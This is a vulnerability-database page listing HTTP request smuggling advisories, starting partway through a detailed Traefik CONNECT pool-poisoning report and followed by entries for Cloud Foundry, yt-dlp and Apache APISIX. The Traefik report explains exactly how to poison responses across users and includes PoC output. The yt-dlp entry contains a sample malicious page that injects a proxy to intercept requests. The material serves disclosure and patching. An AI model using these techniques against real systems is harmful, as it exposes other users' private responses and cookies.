(default) | authority-form CONNECT | |-------------------------|----------------|----------------------------|------------------------| | `mccutchen/go-httpbin` | Go net/http | armed (405 keep-alive) | armed | | `traefik/whoami` | Go net/http | armed (200 keep-alive) | armed | | `caddy:2` | Go net/http | armed (405 keep-alive) | armed | | `kennethreitz/httpbin` | gunicorn/Flask | armed (405 keep-alive) | armed | | `httpd:2.4` | Apache | not armed (400 close) | armed (405 keep-alive) | | `nginx:alpine` | nginx | not armed (400 close) | not armed (400 close) | | `tomcat:10` | Tomcat | not armed (501 close) | - | | node `http` | Node.js | not armed (closes) | - | | `python -m http.server` | Python stdlib | not armed (501 close) | - | ## Impact Unauthenticated cross-user HTTP response poisoning. One client receives another client's response, which can be authenticated or private content, or an attacker-chosen response. Blast radius depends on the pool. With the default pool and a slow smuggled endpoint the crossing is reliable for a converging victim. With a bounded pool one desync shifts the whole response queue: measured with `MaxIdleConnsPerHost 1` and a slow victim endpoint, 8 of 8 sequential victims read a response that was not their own (1 the attacker's, 7 another user's, 0 their own). Traefik does not expose `MaxConnsPerHost`, so the parallel cascade is weaker than Caddy's. ## Proof of concept `poc/run.sh` runs the official `traefik:v3.6.23` image fronting real off-the-shelf backends over HTTP/1.1, with attacker and victim in separate containers. Requires docker and python3. It builds the attack client, pulls the stock images, and runs the scenarios below. The attacker opens an H2 or H3 `CONNECT` to Traefik and sends a raw HTTP/1.1 `GET /delay/2?tag=ATTACKERSMUGGLED` as the CONNECT body, then half-closes the stream. Traefik forwards the CONNECT to the Go/Python backend, the backend answers a keep-alive non-2xx, keeps the socket, and parses the trailing GET as a pipelined request, so a response to it is queued on that socket. `net/http` returns the socket to Traefik's shared pool. The victim then sends `GET /get?tag=VICTIMOWN` on its own connection, Traefik reuses the pooled backend socket, and the victim reads the queued `/delay` response instead of its own. `CROSS` means the victim received a response that was not its own. ## Expected output from poc 
== core: DEFAULT config, cross-user poisoning vs real off-the-shelf backends ==
  [core-go-h2] h2->h2 CROSS
  [core-go-h3] h3->h3 CROSS
  [core-go-x] h2->h3 CROSS
  [core-py-h2] h2->h2 CROSS
  [core-py-h3] h3->h3 CROSS
== mechanism: sanitizePath off -> stock Apache 405 (the direct Caddy analogue) ==
  [mech-ap-h2] h2->h2 CROSS
  [mech-ap-h3] h3->h3 CROSS
== controls: must NOT cross ==
  [ctl-apache] h2->h2 NO_CROSS
  [ctl-pooloff] h2->h2 NO_CROSS
  [ctl-kaoff] h2->h2 NO_CROSS
== safe variant: experimental FastProxy chunk-frames the CONNECT body ==
  [safe-fast] h2->h2 NO_CROSS
== cascade: bounded pool, one desync poisons a queue of victims ==
  smuggled=1 other_user=7 own=0 of 8 (cross-user poisoned=8)
RESULT: PASS
- Core rows. DEFAULT Traefik config against a Go backend (`go-httpbin`) and a Python gunicorn/Flask backend (`kennethreitz/httpbin`), for H2->H2, H3->H3, and H2->H3. The victim reads the attacker's smuggled response. - Mechanism rows. `sanitizePath` off and stock Apache. Traefik emits authority-form `CONNECT apache-backend:80`, Apache answers a keep-alive `405`, and it crosses. This is the direct Caddy analogue and proves the full mechanism including Apache. - Control rows. `ctl-apache` runs the default config against Apache, which closes `CONNECT /`; `ctl-pooloff` disables Traefik backend reuse (`maxIdleConnsPerHost: -1`); `ctl-kaoff` runs Apache with `KeepAlive Off`. All three print `NO_CROSS`, so the crossing depends on backend socket reuse, not pipelining or a shared client. - Safe variant. Experimental FastProxy against the Go backend prints `NO_CROSS` because it chunk-frames the CONNECT body. - Cascade. `MaxIdleConnsPerHost 1` and a slow victim endpoint. One CONNECT desync shifts the queue: of 8 sequential victims, 1 reads the attacker's smuggled response, 7 read another user's response, 0 read their own. The captured crossing (`poc/evidence/RELEASE_v3.6.23_victim.json`): the victim sent `GET /get?tag=VICTIM_OWN` and received a 200 whose body is the response to `GET /delay/2?tag=ATTACKER_SMUGGLED` with the echoed header `X-Smuggled: released-v3.6.23`, none of which the victim sent. ## Not affected - HTTP/1.1 frontend. An H1 CONNECT body cannot reach EOF without closing the connection, so the backend socket is not pooled. - Experimental FastProxy (`experimental.fastProxy`). It chunk-frames the forwarded CONNECT body (`Transfer-Encoding: chunked`, captured in `poc/evidence/wire_fastproxy_chunked.txt`), so the trailing bytes are read as the CONNECT body, not a pipelined request. `safe-fast` is `NO_CROSS`. ## ForwardAuth The ForwardAuth middleware with `forwardBody: true` and `preserveRequestMethod: true` re-issues the request to the auth server as a CONNECT with the buffered body re-attached and `ContentLength` never set (`pkg/middlewares/auth/forward.go`). The auth client writes that body unframed to the auth server (captured on the wire), so a keep-alive non-2xx from the auth server poisons the shared auth-client pool the same way. ## Root cause `net/http` pools a connection after a keep-alive non-2xx response to a CONNECT whose body it wrote unframed. Traefik's default proxy forwards client CONNECT through a shared `net/http.Transport` and applies no CONNECT rejection. `sanitizePath` changes the emitted request target but does not remove the defect. Traefik's own FastProxy implementation frames the CONNECT body and does not cross, which shows this is a property of the httputil/`net/http` path, not fixed by path normalization. ## POC [poc.zip](https://github.com/user-attachments/files/29963125/poc.zip)
Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.52"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.23"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T15:56:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a critical vulnerability in Traefik\u0027s default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 `CONNECT` request, Traefik forwards it \u2014 body included \u2014 to an HTTP/1.1 upstream over a shared `net/http.Transport`. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik\u0027s shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled \u2014 which may be another user\u0027s authenticated or private content. The entrypoint\u0027s `sanitizePath` option (default `true`) is not a reliable defense: backends that answer `CONNECT /` with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.53\n- https://github.com/traefik/traefik/releases/tag/v3.6.24\n- https://github.com/traefik/traefik/releases/tag/v3.7.9\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s default reverse proxy forwards a plain HTTP/2 or HTTP/3 `CONNECT` request and its body to\nan HTTP/1.1 upstream through a shared `net/http.Transport`. When the upstream answers the CONNECT\nwith a keep-alive non-2xx response and does not drain the body, Traefik returns the now\ndesynchronized backend socket to its shared pool and reuses it for other clients. An\nunauthenticated attacker uses this to make a different client read the attacker\u0027s smuggled response.\n\nTraefik\u0027s default proxy is `net/http/httputil.ReverseProxy` over a shared `http.Transport`, so it\ninherits the same root cause as the Caddy `reverse_proxy` CONNECT pool poisoning.\n\nTraefik ships one partial mitigation Caddy does not. The entrypoint option `sanitizePath` (default\n`true`) rewrites the forwarded CONNECT\u0027s empty path to `/`, so Traefik emits `CONNECT /` instead of\nauthority-form `CONNECT host:port`. This is not a reliable defense. It avoids the smuggle only\nagainst backends that reject `CONNECT /` by closing the connection (Apache, nginx). Backends that\nanswer `CONNECT /` with a keep-alive non-2xx and leave the body undrained still cross. That set\nincludes any Go `net/http` server and gunicorn/Flask.\n\nConfirmed on the official image `traefik:v3.6.23` (a currently supported release), default\nconfiguration, against stock `go-httpbin` (Go) and `kennethreitz/httpbin` (Python gunicorn/Flask),\nattacker and victim in separate containers, over both HTTP/2 and HTTP/3.\n\n## Affected\n\n- `traefik:v3.6.23` (official image) and current v3, default configuration, standard proxy to an\n  HTTP/1.1 upstream. Backend keep-alive pooling is on by default (`MaxIdleConnsPerHost` 200).\n- Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected.\n- The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not\n  drain the body.\n- The experimental FastProxy implementation is not affected (see Not affected).\n\n## Details\n\nThree behaviors compose.\n\n1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is\n   `httputil.ReverseProxy` with a shared `http.Transport` (`pkg/proxy/httputil/proxy.go`). The\n   director assigns the outbound `URL.Host` directly and does not reject CONNECT, leaving the\n   request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA\n   frames), which is written onto the backend socket after the CONNECT header block.\n\n2. `net/http` writes the CONNECT body unframed and pools the socket. For a CONNECT the transport\n   writes the body with no `Content-Length` and no `Transfer-Encoding`. The upstream answers a\n   keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx\n   response and returns the socket to the shared idle pool once the request body reaches EOF (the\n   `wroteRequest` gate), while the smuggled request\u0027s response is still pending.\n\n3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after\n   the socket is pooled. A different client that reuses the socket reads the pending smuggled\n   response as its own.\n\n`sanitizePath` (default `true`, `pkg/server/server_entrypoint_tcp.go`) calls `req.URL.JoinPath()`,\nwhich turns the CONNECT\u0027s empty path into `/`. Traefik emits `CONNECT /`. Whether that stops the\nsmuggle depends only on the backend: Apache and nginx answer `400 Bad Request` with\n`Connection: close` (socket torn down, no cross); Go `net/http` and gunicorn/Flask answer a\nkeep-alive non-2xx and pipeline the trailing bytes (cross). With `sanitizePath` off, Traefik emits\nauthority-form `CONNECT host:port`, which Apache answers with a keep-alive `405`.\n\nHTTP/2 and HTTP/3 only. Pooling requires the forwarded request body to reach EOF. An H2/H3 client\nhalf-closes the CONNECT stream (END_STREAM), so the body reaches EOF while the connection stays open\nand the socket is pooled. An H1 CONNECT body is the tunnel and cannot reach EOF without closing the\nconnection, so the socket is closed, not pooled. HTTP/3 routes to the same handler chain as HTTPS.\n\n## Backend behavior\n\n\"Armed\" means the backend answers with a keep-alive non-2xx and parses the trailing undrained bytes\nas a pipelined request. Default Traefik emits `CONNECT /`; with `sanitizePath: false` it emits\nauthority-form `CONNECT host:port`.\n\n| Backend (stock image)   | Server         | `CONNECT /` (default)      | authority-form CONNECT |\n|-------------------------|----------------|----------------------------|------------------------|\n| `mccutchen/go-httpbin`  | Go net/http    | armed (405 keep-alive)     | armed                  |\n| `traefik/whoami`        | Go net/http    | armed (200 keep-alive)     | armed                  |\n| `caddy:2`               | Go net/http    | armed (405 keep-alive)     | armed                  |\n| `kennethreitz/httpbin`  | gunicorn/Flask | armed (405 keep-alive)     | armed                  |\n| `httpd:2.4`             | Apache         | not armed (400 close)      | armed (405 keep-alive) |\n| `nginx:alpine`          | nginx          | not armed (400 close)      | not armed (400 close)  |\n| `tomcat:10`             | Tomcat         | not armed (501 close)      | -                      |\n| node `http`             | Node.js        | not armed (closes)         | -                      |\n| `python -m http.server` | Python stdlib  | not armed (501 close)      | -                      |\n\n## Impact\n\nUnauthenticated cross-user HTTP response poisoning. One client receives another client\u0027s response,\nwhich can be authenticated or private content, or an attacker-chosen response.\n\nBlast radius depends on the pool. With the default pool and a slow smuggled endpoint the crossing is\nreliable for a converging victim. With a bounded pool one desync shifts the whole response queue:\nmeasured with `MaxIdleConnsPerHost 1` and a slow victim endpoint, 8 of 8 sequential victims read a\nresponse that was not their own (1 the attacker\u0027s, 7 another user\u0027s, 0 their own). Traefik does not\nexpose `MaxConnsPerHost`, so the parallel cascade is weaker than Caddy\u0027s.\n\n## Proof of concept\n\n`poc/run.sh` runs the official `traefik:v3.6.23` image fronting real off-the-shelf backends over\nHTTP/1.1, with attacker and victim in separate containers. Requires docker and python3. It builds\nthe attack client, pulls the stock images, and runs the scenarios below.\n\nThe attacker opens an H2 or H3 `CONNECT` to Traefik and sends a raw HTTP/1.1\n`GET /delay/2?tag=ATTACKERSMUGGLED` as the CONNECT body, then half-closes the stream. Traefik\nforwards the CONNECT to the Go/Python backend, the backend answers a keep-alive non-2xx, keeps the\nsocket, and parses the trailing GET as a pipelined request, so a response to it is queued on that\nsocket. `net/http` returns the socket to Traefik\u0027s shared pool. The victim then sends\n`GET /get?tag=VICTIMOWN` on its own connection, Traefik reuses the pooled backend socket, and the\nvictim reads the queued `/delay` response instead of its own. `CROSS` means the victim received a\nresponse that was not its own.\n\n## Expected output from poc\n\n```\n== core: DEFAULT config, cross-user poisoning vs real off-the-shelf backends ==\n  [core-go-h2] h2-\u003eh2 CROSS\n  [core-go-h3] h3-\u003eh3 CROSS\n  [core-go-x] h2-\u003eh3 CROSS\n  [core-py-h2] h2-\u003eh2 CROSS\n  [core-py-h3] h3-\u003eh3 CROSS\n== mechanism: sanitizePath off -\u003e stock Apache 405 (the direct Caddy analogue) ==\n  [mech-ap-h2] h2-\u003eh2 CROSS\n  [mech-ap-h3] h3-\u003eh3 CROSS\n== controls: must NOT cross ==\n  [ctl-apache] h2-\u003eh2 NO_CROSS\n  [ctl-pooloff] h2-\u003eh2 NO_CROSS\n  [ctl-kaoff] h2-\u003eh2 NO_CROSS\n== safe variant: experimental FastProxy chunk-frames the CONNECT body ==\n  [safe-fast] h2-\u003eh2 NO_CROSS\n== cascade: bounded pool, one desync poisons a queue of victims ==\n  smuggled=1 other_user=7 own=0 of 8 (cross-user poisoned=8)\nRESULT: PASS\n```\n\n- Core rows. DEFAULT Traefik config against a Go backend (`go-httpbin`) and a Python gunicorn/Flask\n  backend (`kennethreitz/httpbin`), for H2-\u003eH2, H3-\u003eH3, and H2-\u003eH3. The victim reads the attacker\u0027s\n  smuggled response.\n- Mechanism rows. `sanitizePath` off and stock Apache. Traefik emits authority-form\n  `CONNECT apache-backend:80`, Apache answers a keep-alive `405`, and it crosses. This is the direct\n  Caddy analogue and proves the full mechanism including Apache.\n- Control rows. `ctl-apache` runs the default config against Apache, which closes `CONNECT /`;\n  `ctl-pooloff` disables Traefik backend reuse (`maxIdleConnsPerHost: -1`); `ctl-kaoff` runs Apache\n  with `KeepAlive Off`. All three print `NO_CROSS`, so the crossing depends on backend socket reuse,\n  not pipelining or a shared client.\n- Safe variant. Experimental FastProxy against the Go backend prints `NO_CROSS` because it\n  chunk-frames the CONNECT body.\n- Cascade. `MaxIdleConnsPerHost 1` and a slow victim endpoint. One CONNECT desync shifts the queue:\n  of 8 sequential victims, 1 reads the attacker\u0027s smuggled response, 7 read another user\u0027s response,\n  0 read their own.\n\nThe captured crossing (`poc/evidence/RELEASE_v3.6.23_victim.json`): the victim sent\n`GET /get?tag=VICTIM_OWN` and received a 200 whose body is the response to\n`GET /delay/2?tag=ATTACKER_SMUGGLED` with the echoed header `X-Smuggled: released-v3.6.23`, none of\nwhich the victim sent.\n\n## Not affected\n\n- HTTP/1.1 frontend. An H1 CONNECT body cannot reach EOF without closing the connection, so the\n  backend socket is not pooled.\n- Experimental FastProxy (`experimental.fastProxy`). It chunk-frames the forwarded CONNECT body\n  (`Transfer-Encoding: chunked`, captured in `poc/evidence/wire_fastproxy_chunked.txt`), so the\n  trailing bytes are read as the CONNECT body, not a pipelined request. `safe-fast` is `NO_CROSS`.\n\n## ForwardAuth\n\nThe ForwardAuth middleware with `forwardBody: true` and `preserveRequestMethod: true` re-issues the\nrequest to the auth server as a CONNECT with the buffered body re-attached and `ContentLength` never\nset (`pkg/middlewares/auth/forward.go`). The auth client writes that body unframed to the auth\nserver (captured on the wire), so a keep-alive non-2xx from the auth server poisons the shared\nauth-client pool the same way.\n\n## Root cause\n\n`net/http` pools a connection after a keep-alive non-2xx response to a CONNECT whose body it wrote\nunframed. Traefik\u0027s default proxy forwards client CONNECT through a shared `net/http.Transport` and\napplies no CONNECT rejection. `sanitizePath` changes the emitted request target but does not remove\nthe defect. Traefik\u0027s own FastProxy implementation frames the CONNECT body and does not cross, which\nshows this is a property of the httputil/`net/http` path, not fixed by path normalization.\n\n## POC\n\n[poc.zip](https://github.com/user-attachments/files/29963125/poc.zip)\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-3ccp-42pg-hgv6",
  "modified": "2026-08-06T15:56:40Z",
  "published": "2026-08-06T15:56:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-3ccp-42pg-hgv6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13556"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/04d36f28e4eae7535e96a6351dd9f7bfb48a30e7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/0807b6d5dd1da8b2f7f4076ea2392b5437bf2ab0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/94a7508817d180f0ab2f1eae93df48d4ab19ecce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Cross-user response poisoning via proxied CONNECT on Traefik\u0027s shared backend keep-alive pool"
}

GHSA-3CFF-HPPC-4G4R

Vulnerability from github – Published: 2024-06-10 21:30 – Updated: 2024-06-10 21:30
VLAI
Details

Improper handling of requests in Routing Release > v0.273.0 and <= v0.297.0 allows an unauthenticated attacker to degrade the service availability of the Cloud Foundry deployment if performed at scale.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-22279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-10T20:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Improper handling of requests in Routing Release \u003e v0.273.0 and \u003c= v0.297.0 allows an unauthenticated attacker to degrade\n the service availability of the Cloud Foundry deployment if performed at scale.",
  "id": "GHSA-3cff-hppc-4g4r",
  "modified": "2024-06-10T21:30:38Z",
  "published": "2024-06-10T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22279"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2024-22279-gorouter-denial-of-service-attack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3CH3-JHC6-5R8X

Vulnerability from github – Published: 2023-11-15 14:48 – Updated: 2023-11-15 14:48
VLAI
Summary
yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
Details

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage: 
<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.

Patches

  • We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

  • Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
  • Take caution when using --no-check-certificate.

References

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "yt-dlp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2022.10.04"
            },
            {
              "fixed": "2023.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-15T14:48:24Z",
    "nvd_published_at": "2023-11-15T00:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases.\n\n\u003cdetails\u003e\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself.  This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n   - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n   - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n\u003c!DOCTYPE html\u003e\n\u003ccinerama.embedPlayer(\u0027t\u0027,\u0027{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D\u0027)\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n\u003c/details\u003e\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- \u003chttps://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\u003e\n- \u003chttps://nvd.nist.gov/vuln/detail/CVE-2023-46121\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\u003e\n",
  "id": "GHSA-3ch3-jhc6-5r8x",
  "modified": "2023-11-15T14:48:24Z",
  "published": "2023-11-15T14:48:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection"
}

GHSA-3G86-XCPQ-WPPJ

Vulnerability from github – Published: 2026-08-27 12:30 – Updated: 2026-08-31 21:31
VLAI
Details

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache APISIX.

An attacker could make other clients receive attacker-chosen or other users' responses on serverless-plugin routes.

This issue affects Apache APISIX: from 2.12.0 through 3.17.0.

Users are recommended to upgrade to version 3.18.0, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-74848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T10:16:36Z",
    "severity": "HIGH"
  },
  "details": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) vulnerability in Apache APISIX.\n\nAn attacker could make other clients receive attacker-chosen or other users\u0027 responses on serverless-plugin routes.\n\n\n\n\nThis issue affects Apache APISIX: from 2.12.0 through 3.17.0.\n\n\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
  "id": "GHSA-3g86-xcpq-wppj",
  "modified": "2026-08-31T21:31:53Z",
  "published": "2026-08-27T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74848"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/xdgpszmw8dw4wvmfxy043d83m150kx3n"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/26/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

